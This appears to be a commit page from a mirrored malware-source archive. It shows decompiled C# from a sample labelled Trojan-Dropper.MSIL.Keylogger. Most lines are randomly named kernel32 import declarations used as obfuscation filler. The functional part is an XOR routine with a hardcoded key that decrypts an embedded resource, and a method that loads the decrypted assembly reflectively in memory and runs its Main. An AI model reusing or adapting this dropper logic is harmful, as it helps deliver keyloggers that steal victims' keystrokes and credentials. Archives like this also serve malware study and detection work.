mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 07:49:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
vxunderground
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+596
@@ -0,0 +1,596 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ljkhyrtd.Class1
|
||||
// Assembly: kopyht, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AE985B4F-A56D-4BC2-9182-79553748CBF3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.MSIL.Keylogger.b-62498e7220ee0284a4b819ca7f6a0791389033a31a4851b06364ad9713bfc16b.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace ljkhyrtd
|
||||
{
|
||||
public class Class1
|
||||
{
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] SDCry([MarshalAs(UnmanagedType.VBByRefStr)] ref string UkxwH, string[] DZKjy, char rbLJg);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] PHbNI([MarshalAs(UnmanagedType.VBByRefStr)] ref string XttCd, string[] pAlSp, char IhIAJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] eGkXf([MarshalAs(UnmanagedType.VBByRefStr)] ref string lhsLN, string[] ghrFL, char noCcu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] dZytu([MarshalAs(UnmanagedType.VBByRefStr)] ref string sxjpw, string[] GonTt, char woHpC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZWpLz([MarshalAs(UnmanagedType.VBByRefStr)] ref string qYFxx, string[] kkJXh, char PdOgx);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LyvpO([MarshalAs(UnmanagedType.VBByRefStr)] ref string YcJVc, string[] NjWEB, char MiUmD);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] gHZmu([MarshalAs(UnmanagedType.VBByRefStr)] ref string jFKKL, string[] Gzsze, char YqULH);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] YdIlC([MarshalAs(UnmanagedType.VBByRefStr)] ref string SUaDI, string[] CfGGW, char nFlxJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] tKwWa([MarshalAs(UnmanagedType.VBByRefStr)] ref string FJUNC, string[] sGmso, char WTAnp);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] yPTgw([MarshalAs(UnmanagedType.VBByRefStr)] ref string FjRwm, string[] Abbaf, char DPDuO);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] IBadC([MarshalAs(UnmanagedType.VBByRefStr)] ref string tPElX, string[] VqZNl, char vSeAT);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] fEzcL([MarshalAs(UnmanagedType.VBByRefStr)] ref string bHSrS, string[] cVolP, char eRvrR);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XiTrE([MarshalAs(UnmanagedType.VBByRefStr)] ref string MXxyf, string[] zYHRi, char rrqvA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] MgKNB([MarshalAs(UnmanagedType.VBByRefStr)] ref string nqtlL, string[] MAEkm, char IjoEy);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] huXXv([MarshalAs(UnmanagedType.VBByRefStr)] ref string TSsJr, string[] DhOit, char nUoKu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] UJOZk([MarshalAs(UnmanagedType.VBByRefStr)] ref string zIOAp, string[] kGDvR, char VdZyt);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] usxjp([MarshalAs(UnmanagedType.VBByRefStr)] ref string wGonT, string[] twoHp, char CZWpL);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] zqYFx([MarshalAs(UnmanagedType.VBByRefStr)] ref string xkkJX, string[] hPdOg, char xLyvp);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] OYcJV([MarshalAs(UnmanagedType.VBByRefStr)] ref string cNjWE, string[] BMiUm, char DgHZm);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ujFKK([MarshalAs(UnmanagedType.VBByRefStr)] ref string LGzsz, string[] eYqUL, char HYdIl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CSUaD([MarshalAs(UnmanagedType.VBByRefStr)] ref string ICfGG, string[] WnFlx, char JtKwW);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] aFJUN([MarshalAs(UnmanagedType.VBByRefStr)] ref string CsGms, string[] oWTAn, char pyPTg);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] wFjRw([MarshalAs(UnmanagedType.VBByRefStr)] ref string mAbba, string[] fDPDu, char OIBad);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CtPEl([MarshalAs(UnmanagedType.VBByRefStr)] ref string XVqZN, string[] lvSeA, char TfEzc);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LbHSr([MarshalAs(UnmanagedType.VBByRefStr)] ref string ScVol, string[] PeRvr, char RXiTr);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] EMXxy([MarshalAs(UnmanagedType.VBByRefStr)] ref string fzYHR, string[] irrqv, char AMgKN);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] Bnqtl([MarshalAs(UnmanagedType.VBByRefStr)] ref string LMAEk, string[] mIjoE, char yhuXX);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] vTSsJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string rDhOi, string[] tnUoK, char uUJOZ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] kzIOA([MarshalAs(UnmanagedType.VBByRefStr)] ref string pkGDv, string[] RVdZy, char tusxj);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] pwGon([MarshalAs(UnmanagedType.VBByRefStr)] ref string TtwoH, string[] pCZWp, char LzqYF);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] xxkkJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string XhPdO, string[] gxLyv, char pOYcJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] VcNjW([MarshalAs(UnmanagedType.VBByRefStr)] ref string EBMiU, string[] mDgHZ, char mujFK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KLGzs([MarshalAs(UnmanagedType.VBByRefStr)] ref string zeYqU, string[] LHYdI, char lCSUa);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XKMjA([MarshalAs(UnmanagedType.VBByRefStr)] ref string AYrZo, string[] EDxFW, char YeZDL);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] cMwAq([MarshalAs(UnmanagedType.VBByRefStr)] ref string wsTOV, string[] rtRHI, char kWZnI);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] WqVff([MarshalAs(UnmanagedType.VBByRefStr)] ref string eiXHX, string[] yKKae, char hMxHU);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] pBauB([MarshalAs(UnmanagedType.VBByRefStr)] ref string bpzCi, string[] COjUT, char gGfSC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] uCgas([MarshalAs(UnmanagedType.VBByRefStr)] ref string pHiIy, string[] vINmO, char vYdNW);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] RjTPS([MarshalAs(UnmanagedType.VBByRefStr)] ref string Imvvu, string[] zVdkF, char cbrux);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] pGdVU([MarshalAs(UnmanagedType.VBByRefStr)] ref string oqKnr, string[] URlyN, char NzOXw);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] DvXlJ([MarshalAs(UnmanagedType.VBByRefStr)] ref string lwqPs, string[] FyLDJ, char BoRKJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] VtoAZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string zIMhB, string[] RxywE, char mtWSs);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] rOxWr([MarshalAs(UnmanagedType.VBByRefStr)] ref string StNVY, string[] sGTuP, char ZEEoo);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] DNlHg([MarshalAs(UnmanagedType.VBByRefStr)] ref string JkEGR, string[] ztJPf, char Fagcn);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] YUbcm([MarshalAs(UnmanagedType.VBByRefStr)] ref string LqXkD, string[] BqxnZ, char GFHAT);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] wTiPu([MarshalAs(UnmanagedType.VBByRefStr)] ref string LGSOh, string[] LpMCL, char eXKMj);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] AAYrZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string oEDxF, string[] WYeZD, char LcMwA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] qwsTO([MarshalAs(UnmanagedType.VBByRefStr)] ref string VrtRH, string[] IkWZn, char IWqVf);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] feiXH([MarshalAs(UnmanagedType.VBByRefStr)] ref string XyKKa, string[] ehMxH, char UpBau);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] BbpzC([MarshalAs(UnmanagedType.VBByRefStr)] ref string iCOjU, string[] TgGfS, char CuCga);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] spHiI([MarshalAs(UnmanagedType.VBByRefStr)] ref string yvINm, string[] OvYdN, char WRjTP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] SImvv([MarshalAs(UnmanagedType.VBByRefStr)] ref string uzVdk, string[] Fcbru, char xpGdV);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] UoqKn([MarshalAs(UnmanagedType.VBByRefStr)] ref string rURly, string[] NNzOX, char wDvXl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] JlwqP([MarshalAs(UnmanagedType.VBByRefStr)] ref string sFyLD, string[] JBoRK, char JVtoA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZzIMh([MarshalAs(UnmanagedType.VBByRefStr)] ref string BRxyw, string[] EmtWS, char srOxW);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] rStNV([MarshalAs(UnmanagedType.VBByRefStr)] ref string YsGTu, string[] PZEEo, char oDNlH);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] gJkEG([MarshalAs(UnmanagedType.VBByRefStr)] ref string RztJP, string[] fFagc, char nYUbc);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] mLqXk([MarshalAs(UnmanagedType.VBByRefStr)] ref string DBqxn, string[] ZGFHA, char TwTiP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] uLGSO([MarshalAs(UnmanagedType.VBByRefStr)] ref string hLpMC, string[] LeXKM, char jAAYr);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZoEDx([MarshalAs(UnmanagedType.VBByRefStr)] ref string FWYeZ, string[] DLcMw, char AqwsT);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] OVrtR([MarshalAs(UnmanagedType.VBByRefStr)] ref string HIkWZ, string[] nIWqV, char ffeiX);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] HXyKK([MarshalAs(UnmanagedType.VBByRefStr)] ref string aehMx, string[] HUpBa, char uBbpz);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CiCOj([MarshalAs(UnmanagedType.VBByRefStr)] ref string UTgGf, string[] SCuCg, char aspHi);
|
||||
|
||||
public static byte[] EtpEA(byte[] yceLeks, string dOXXjnqi)
|
||||
{
|
||||
Array.Reverse((Array) yceLeks);
|
||||
byte yceLek = yceLeks[checked (yceLeks.Length - 1)];
|
||||
byte[] bytes = Encoding.GetEncoding(1252).GetBytes(dOXXjnqi);
|
||||
byte[] array = new byte[checked (yceLeks.Length + 1)];
|
||||
int index1 = 0;
|
||||
int num = checked (yceLeks.Length - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
array[index2] = (byte) ((int) yceLeks[index2] ^ (int) yceLek ^ (int) bytes[index1]);
|
||||
Array.Reverse((Array) bytes);
|
||||
if (index1 == checked (bytes.Length - 1))
|
||||
index1 = 0;
|
||||
else
|
||||
checked { ++index1; }
|
||||
checked { ++index2; }
|
||||
}
|
||||
if (DateTime.Compare(DateTime.Now, DateTime.UtcNow) != 0 && DateTime.Compare(DateTime.Now, DateTime.UtcNow) != 0)
|
||||
Array.Resize<byte>(ref array, checked (array.Length - 2));
|
||||
return array;
|
||||
}
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ngBr([MarshalAs(UnmanagedType.VBByRefStr)] ref string iMnx, string[] gfZU, char gRFd);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KcsZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string sgeN, string[] qnLg, char YKIA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CkrI([MarshalAs(UnmanagedType.VBByRefStr)] ref string SaCy, string[] GhWX, char FTjs);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] treh([MarshalAs(UnmanagedType.VBByRefStr)] ref string biJM, string[] Nosv, char mJbZ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] Tlnq([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpTG, string[] iwjV, char wZAu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] btfa([MarshalAs(UnmanagedType.VBByRefStr)] ref string Pjuo, string[] ITaw, char CHPC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ljVL([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZqlF, string[] SxAB, char fCWP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LOkk([MarshalAs(UnmanagedType.VBByRefStr)] ref string rydp, string[] pYPJ, char Rcrk);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XEYM([MarshalAs(UnmanagedType.VBByRefStr)] ref string EUXD, string[] zHmm, char HViK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] eLhz([MarshalAs(UnmanagedType.VBByRefStr)] ref string MzKY, string[] BIdH, char BdMl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] RSMa([MarshalAs(UnmanagedType.VBByRefStr)] ref string jIEf, string[] hGXn, char vlSJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] HKDW([MarshalAs(UnmanagedType.VBByRefStr)] ref string OFfU, string[] UCJG, char UfOm);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] kAIb([MarshalAs(UnmanagedType.VBByRefStr)] ref string APVh, string[] DFRR, char emyb);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] uaxD([MarshalAs(UnmanagedType.VBByRefStr)] ref string cDGO, string[] aBtd, char otqE);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZXpq([MarshalAs(UnmanagedType.VBByRefStr)] ref string zNYi, string[] xekT, char JEhc);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] dbgS([MarshalAs(UnmanagedType.VBByRefStr)] ref string LAvB, string[] ONce, char VvNR);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] njBr([MarshalAs(UnmanagedType.VBByRefStr)] ref string iMnx, string[] gfZU, char gRFd);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KcFZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string sgeN, string[] qnLg, char YKIA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CkUI([MarshalAs(UnmanagedType.VBByRefStr)] ref string SaCy, string[] GhWX, char FTjs);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] trwh([MarshalAs(UnmanagedType.VBByRefStr)] ref string biJM, string[] Nosv, char mJbZ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] TlnP([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpTG, string[] iwjV, char wZAu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] btfj([MarshalAs(UnmanagedType.VBByRefStr)] ref string Pjuo, string[] ITaw, char CHPC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] lWVL([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZqlF, string[] SxAB, char fCWP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LOHk([MarshalAs(UnmanagedType.VBByRefStr)] ref string rydp, string[] pYPJ, char Rcrk);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XfYM([MarshalAs(UnmanagedType.VBByRefStr)] ref string EUXD, string[] zHmm, char HViK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] efhz([MarshalAs(UnmanagedType.VBByRefStr)] ref string MzKY, string[] BIdH, char BdMl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] RfMa([MarshalAs(UnmanagedType.VBByRefStr)] ref string jIEf, string[] hGXn, char dZyu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] usxf([MarshalAs(UnmanagedType.VBByRefStr)] ref string pwGo, string[] nTtw, char oHpC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZWpf([MarshalAs(UnmanagedType.VBByRefStr)] ref string zqYF, string[] xxkk, char JXhP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] dOfx([MarshalAs(UnmanagedType.VBByRefStr)] ref string Lyvp, string[] OYcJ, char VcNj);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] WfBM([MarshalAs(UnmanagedType.VBByRefStr)] ref string iUmD, string[] gHZm, char ujFK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KfGz([MarshalAs(UnmanagedType.VBByRefStr)] ref string szeY, string[] qULH, char YdIl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CSfa([MarshalAs(UnmanagedType.VBByRefStr)] ref string DICf, string[] GGWn, char FlxJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] tKfW([MarshalAs(UnmanagedType.VBByRefStr)] ref string aFJU, string[] NCsG, char msoW);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] TAnp([MarshalAs(UnmanagedType.VBByRefStr)] ref string yPTg, string[] wFjR, char wmAb);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] bafD([MarshalAs(UnmanagedType.VBByRefStr)] ref string PDuO, string[] IBad, char CtPE);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] lXVq([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZNlv, string[] SeAT, char fEzc);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] LbHS([MarshalAs(UnmanagedType.VBByRefStr)] ref string rScV, string[] olPe, char RvrR);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XiTr([MarshalAs(UnmanagedType.VBByRefStr)] ref string EMXx, string[] yfzY, char HRir);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] rqvA([MarshalAs(UnmanagedType.VBByRefStr)] ref string MgKN, string[] Bnqt, char lLMA);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] EkmI([MarshalAs(UnmanagedType.VBByRefStr)] ref string joEy, string[] huXX, char vTSs);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] JrDh([MarshalAs(UnmanagedType.VBByRefStr)] ref string Oitn, string[] UoKu, char UJOZ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] kzIO([MarshalAs(UnmanagedType.VBByRefStr)] ref string ApkG, string[] DvRV, char dZyu);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] usxj([MarshalAs(UnmanagedType.VBByRefStr)] ref string pwGo, string[] nTtw, char oHpC);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] ZWpL([MarshalAs(UnmanagedType.VBByRefStr)] ref string zqYF, string[] xxkk, char JXhP);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] dOgx([MarshalAs(UnmanagedType.VBByRefStr)] ref string Lyvp, string[] OYcJ, char VcNj);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] WEBM([MarshalAs(UnmanagedType.VBByRefStr)] ref string iUmD, string[] gHZm, char ujFK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] KLGz([MarshalAs(UnmanagedType.VBByRefStr)] ref string szeY, string[] qULH, char YdIl);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] CSUa([MarshalAs(UnmanagedType.VBByRefStr)] ref string DICf, string[] GGWn, char FlxJ);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] tKwW([MarshalAs(UnmanagedType.VBByRefStr)] ref string aFJU, string[] NCsG, char msoW);
|
||||
|
||||
public static void EvGwX() => AppDomain.CurrentDomain.Load(Class1.EtpEA(ljkhyrtd.My.Resources.Resources.zcvbySq, "JJylHivLrPuyNHLTVZqJkqmxEDlnwIWeuHhWukDMMNcGI")).GetType("ClassLibrary1.Class1").GetMethod("Main").Invoke((object) null, (object[]) null);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] okNtj([MarshalAs(UnmanagedType.VBByRefStr)] ref string aoyhh, string[] XIhTS, char fJdDX);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] thfMr([MarshalAs(UnmanagedType.VBByRefStr)] ref string oKhUJ, string[] OZVlI, char OAbVz);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] FiRCD([MarshalAs(UnmanagedType.VBByRefStr)] ref string Ultus, string[] xjcjH, char aMptw);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] nHcCY([MarshalAs(UnmanagedType.VBByRefStr)] ref string moLmq, string[] YFjxk, char BxXZv);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] dugkL([MarshalAs(UnmanagedType.VBByRefStr)] ref string kvpOY, string[] bxVGL, char VnEBK);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] XrmDA([MarshalAs(UnmanagedType.VBByRefStr)] ref string yZNgV, string[] EKKPG, char lszeq);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] qULHY([MarshalAs(UnmanagedType.VBByRefStr)] ref string dslCR, string[] UaRIC, char SWGnn);
|
||||
|
||||
[DllImport(" kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern byte[] FBjJf([MarshalAs(UnmanagedType.VBByRefStr)] ref string KiWaW, string[] JUNOe, char GMebm);
|
||||
|
||||
